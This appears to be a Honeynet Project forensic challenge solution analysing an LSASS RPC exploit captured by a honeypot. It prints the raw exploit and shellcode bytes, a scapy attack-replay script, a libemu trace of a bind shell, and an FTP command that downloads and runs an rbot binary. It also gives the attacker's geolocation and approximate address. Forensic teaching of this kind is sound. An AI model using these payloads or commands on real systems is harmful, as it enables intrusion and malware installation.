Forensic Challenge 2010 - Scan 1 - Solution - Final
Forensic Challenge 2010 - Scan 1 - Solution - Final
QUESTIONS
INCIDENT OVERVIEW
The network traffic captured in the file attack-trace.pcap relates to an automated malware attack that exploits the
Windows Local Security Authority (LSA) Remote Procedure Call (RPC) service of the victim host named
“V.I.D.C.A.M.”, IP address 192.150.11.111, compromising the IPC$ share. Once the share is exploited, a script is
invoked, causing a connection to an FTP server named “NzmxFtpd” and the acquisition of a file, ssms.exe. Figure 1.1
visually depicts the attack sequence of the script calling out to the FTP server and successfully acquiring the Windows
executable file, ssms.exe. Analysis of ssms.exe revealed the file to be malware—in particular an rbot variant possibly
named “nzm bot.” 1
1
“Nzm Bot” Source Code: http://www.hackforums.net/printthread.php?tid=112330
The work is licensed under a Creative Commons License.
Copyright © The Honeynet Project, 2010
Page 1 of 20
THE HONEYNET P R O J E C T® | Forensic Challenge 2010
TOOLS USED
Wireshark tcpdump P0f
ANSWERS
Question 1 - Which systems (i.e. IP addresses) are involved? (2pts)
Tool used: Wireshark
The attacker 98.114.205.102
The honeypot 192.150.11.111
Question 2 - What can you find out about the attacking host (e.g., where is it located)? (2pts)
Tool used: http://www.hostip.info/
Operating System: Windows XP.
Associated Domain name: pool-98-114-205-102.phlapa.fios.verizon.net
Hostname: HOD
IP Address: 98.114.205.102
MAC Address: 0008E23B5601 (Cisco Systems)
Geolocation Details:
Country Code: US
Country Name: United States
Region : PA
Region Name: Pennsylvania
City: Southampton
Postal Code: 18966
Latitude: 40.1877
Longitude: -75.0058
ISP: Verizon Internet Services
Organization: Verizon Internet Services
Metro Code: 504
Area Code: 215
Approximate Address: 83-325 Elm Ave, Churchville, PA 18966
Whois Information:
OrgName: Verizon Internet Services Inc.
OrgID: VRIS
Address: 1880 Campus Commons Dr
City: Reston
StateProv: VA
PostalCode: 20191
Country: US
NetRange: 98.108.0.0 - 98.119.255.255
CIDR: 98.108.0.0/14, 98.112.0.0/13
NetName: VIS-BLOCK
NetHandle: NET-98-108-0-0-1
Parent: NET-98-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.VERIZON.NET
NameServer: NS3.VERIZON.NET
NameServer: NS2.VERIZON.NET
NameServer: NS4.VERIZON.NET
NameServer: NS5.VERIZON.NET
Comment:
RegDate: 2008-04-02
Updated: 2009-10-14
OrgAbuseHandle: VISAB-ARIN
OrgAbuseName: VIS Abuse
OrgAbusePhone: +1-214-513-6711
OrgAbuseEmail: [email protected]
OrgTechHandle: ZV20-ARIN
OrgTechName: Verizon Internet Services
OrgTechPhone: 800-243-6994
OrgTechEmail: [email protected]
The attacker have a DSL router from Verizon, because it have only port 4567 and its reported as a trojan or as an open
port on Verizon DSL routers
Question 3 - How many TCP sessions are contained in the dump file? (2pts)
Tool used: Snort
According to snort there are 5 sessions. The entire session consists of 348 packets.
Question 5- Which operating system was targeted by the attack? And which service? Which
vulnerability? (6pts)
Tools used: snort, p0f
Windows 2000 (2pts)
Windows Local Security Authority (LSA) Remote Procedure Call (RPC) service (2pts)
The vulnerability generically appears to be NETBIOS SMB-DS DCERPC LSASS. Snort reports NETBIOS SMB-DS
DCERPC LSASS DsRolerUpgradeDownlevelServer exploit attempt and a shellcode X86 Noop. (2pts)
Question 6 - Can you sketch an overview of the general actions performed by the attacker? (6pts)
Tools used: echo, c, scapy, dionaea
Summary
The network traffic captured in the file attack-trace.pcap relates to an automated malware attack that exploits the
Windows Local Security Authority (LSA) Remote Procedure Call (RPC) service of the victim host named
“V.I.D.C.A.M.”, IP address 192.150.11.111, compromising the IPC$ share. After exploitation, and control IPC$ on
victim machine the attacker write a script for download ssms.exe from ftp:
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >>
o &ftp -n -s:o &del /F /Q o &ssms.exe
Then the ftp session was ok and execute the new downloaded program. The ftp server used was NzmxFtpd
Use scapy to replay the attack to a dionaea (tshark would have done the same, but dionaea allows getting the payload
easier.):
def replay(file):
packets = rdpcap(file)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 445))
except:
print "Error connecting to remote host"
return
for p in packets:
try:
# s.recv(1024)
if p.haslayer(TCP) and p.getlayer(TCP).dport == 445 and
len(p.getlayer(TCP).payload) >6:
try:
print(p.getlayer(TCP).flags)
if p.getlayer(TCP).flags > 1:
s.sendall(str(p.getlayer(TCP).payload))
# print(str(p.getlayer(TCP).payload))
except:
print "Error sending data"
return
except:
print "Error reading data"
return
time.sleep(1)
s.shutdown(0)
return
replay('/tmp/attack-trace.pcap')
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00F\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90f\x81\xec\x1c\x07\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x95\x14@\x00\x0
3\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00
\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00
\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\
x00\x01\x00\x00\x00\x00\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x
00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00x\x85\x13\x00\xab[\xa6\xe911111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
111111\x00' sizeof(3208) off= 8 goff=112
Question 8: What actions does the shellcode perform? Pls list the shellcode. What script is
executed and what does it do? (8pts)
Tools used: libemu
The payload which was detected by dionaea was dumped to a file (2pts):
>>> import io
>>> f = io.open('/tmp/sotm.bin','wb+')
>>> a =
b'\xec\x03\x00\x00\x00\x00\x00\x00\xec\x03\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x10ZJ3\xc9f\xb9}\x01\x804\n\x99\x
e2\xfa\xeb\x05\xe8\xeb\xff\xff\xffp\x95\x98\x99\x99\xc3\xfd8\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x854\x1
2\xd9\x91\x12A\x12\xea\xa5\x12\xed\x87\xe1\x9aj\x12\xe7\xb9\x9ab\x12\xd7\x8d\xaat\xcf\xce\xc8\x12\xa6\x9
ab\x12k\xf3\x97\xc0j?\xed\x91\xc0\xc6\x1a^\x9d\xdc{p\xc0\xc6\xc7\x12T\x12\xdf\xbd\x9aZHx\x9aX\xaaP\xff\x
12\x91\x12\xdf\x85\x9aZXx\x9b\x9aX\x12\x99\x9aZ\x12c\x12n\x1a_\x97\x12I\xf3\x9a\xc0q\x1e\x99\x99\x99\x1a
_\x94\xcb\xcff\xcee\xc3\x12A\xf3\x9c\xc0q\xed\x99\x99\x99\xc9\xc9\xc9\xc9\xf3\x98\xf3\x9bf\xceu\x12A^\x9
e\x9b\x99\x9e<\xaaY\x10\xde\x9d\xf3\x89\xce\xcaf\xcei\xf3\x98\xcaf\xcem\xc9\xc9\xcaf\xcea\x12I\x1au\xdd\
x12m\xaaY\xf3\x89\xc0\x10\x9d\x17{b\x10\xcf\xa1\x10\xcf\xa5\x10\xcf\xd9\xff^\xdf\xb5\x98\x98\x14\xde\x89
\xc9\xcf\xaaP\xc8\xc8\xc8\xf3\x98\xc8\xc8^\xde\xa5\xfa\xf4\xfd\x99\x14\xde\xa5\xc9\xc8f\xcey\xcbf\xcee\x
caf\xcee\xc9f\xce}\xaaY5\x1cY\xec`\xc8\xcb\xcf\xcafK\xc3\xc02{w\xaaYZqvgff\xde\xfc\xed\xc9\xeb\xf6\xfa\x
d8\xfd\xfd\xeb\xfc\xea\xea\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xdc\xe1\xf0\x
ed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xee\xea\xab\xc6\xaa\x
ab\x99\xce\xca\xd8\xca\xf6\xfa\xf2\xfc\xed\xd8\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\x
fa\xfa\xfc\xe9\xed\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00F\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90f\x81\xec\x1c\x07\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x95\x14@\x00\x0
3\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00
\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00
\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\
x00\x01\x00\x00\x00\x00\x00\x00\x00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x
00|p@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00x\x85\x13\x00\xab[\xa6\xe911111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
111111\x00'
>>> f.write(a)
3208
>>> f.close()
none;
LPCSTR lpProcName = 0x00417216 =>
= "WSASocketA";
) = 0x71a18769;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x71a10000 =>
none;
LPCSTR lpProcName = 0x00417221 =>
= "bind";
) = 0x71a13e00;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x71a10000 =>
none;
LPCSTR lpProcName = 0x00417226 =>
= "listen";
) = 0x71a188d3;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x71a10000 =>
none;
LPCSTR lpProcName = 0x0041722d =>
= "accept";
) = 0x71a21028;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x71a10000 =>
none;
LPCSTR lpProcName = 0x00417234 =>
= "closesocket";
) = 0x71a19639;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int bind (
SOCKET s = 66;
struct sockaddr_in * name = 0x004171f9 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 42247 (port=1957);
struct in_addr sin_addr = {
unsigned long s_addr = 0 (host=0.0.0.0);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
int listen (
SOCKET s = 66;
int backlog = 1;
) = 0;
SOCKET accept (
SOCKET s = 66;
struct sockaddr * addr = 0x00000000 =>
struct = {
};
int addrlen = 0x00000000 =>
none;
) = 68;
BOOL CreateProcess (
LPCWSTR pszImageName = 0x00000000 =>
= "g";
LPCWSTR pszCmdLine = 0x00417235 =>
= "cmd";
LPSECURITY_ATTRIBUTES psaProcess = 0x00000000 =>
none;
LPSECURITY_ATTRIBUTES psaThread = 0x00000000 =>
none;
BOOL fInheritHandles = 1;
DWORD fdwCreate = 0;
LPVOID pvEnvironment = 0x00000000 =>
none;
LPWSTR pszCurDir = 0x00000000 =>
none;
struct LPSTARTUPINFOW psiStartInfo = 0x0012fe54 =>
struct = {
DWORD cb = 0;
LPTSTR lpReserved = 0;
LPTSTR lpDesktop = 0;
LPTSTR lpTitle = 0;
DWORD dwX = 0;
DWORD dwY = 0;
DWORD dwXSize = 0;
DWORD dwYSize = 0;
DWORD dwXCountChars = 0;
DWORD dwYCountChars = 0;
DWORD dwFillAttribute = 0;
DWORD dwFlags = 0;
WORD wShowWindow = 0;
WORD cbReserved2 = 0;
LPBYTE lpReserved2 = 0;
HANDLE hStdInput = 68;
HANDLE hStdOutput = 68;
HANDLE hStdError = 68;
};
struct PROCESS_INFORMATION pProcInfo = 0x0052f74c =>
struct = {
HANDLE hProcess = 4711;
HANDLE hThread = 4712;
DWORD dwProcessId = 4712;
DWORD dwThreadId = 4714;
};
) = -1;
int closesocket (
SOCKET s = 68;
) = 0;
int closesocket (
SOCKET s = 66;
) = 0;
void ExitThread (
DWORD dwExitCode = 0;
) = 0;
Looking into the pcap file, starting at packet number 36 (and in turn, reconstructed with packets 37, 39, 41-48, and 51)
the bindshell was used to instruct the attacked host to download a binary named “ssms.exe” from a remote ftp server:
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo
quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe ssms.exe
Starting at packet number 50 ( reconstructed with packets 52-59, 60-67, 70 along with 339-342, 344-348) reveals the
FTP connection and related traffic invoked from the above command (4pts). This is the ftp session:
Interpretation of the session shows that “Nzmxftpd Owns j0” is the FTP server message (FTP
status code 220 is “Service ready for new user”). The “Owns j0” reference is litespeak/hackerspeak for “owns
you”; this is hacker/scriptkiddy braggadocio jargon for the ability to infect/hack systems.
The username supplied is “USER 1”; the FTP status code of 331 is “User name okay, need password.”
The password supplied is PASS 1; the FTP status code 230 is “user logged in, proceed.” This status code
appears after the client sends the correct password. It indicates that the user has successfully logged on to the
FTP server.
The SYST and reference, related FTP status code 215 and relate to optional FTP “NAME system type”
command (RFC 959); “NzmxFtpd”2 is the FTP server banner.
The 200 status code (Command okay”) and “Type set to I” means that the client requested binary mode
transfer and that the server acknowledged this request. The victim system IP address, 192.150.11.111 is
provided, as is port 56; the 200 FTP status code reveals that the “PORT command” was successfully executed.
The “RETR ssms.exe” command shows that the file ssms.exe is successfully retrieved.
The 150 FTP status code means “File status okay, about to open data connection”; the status reveals that the
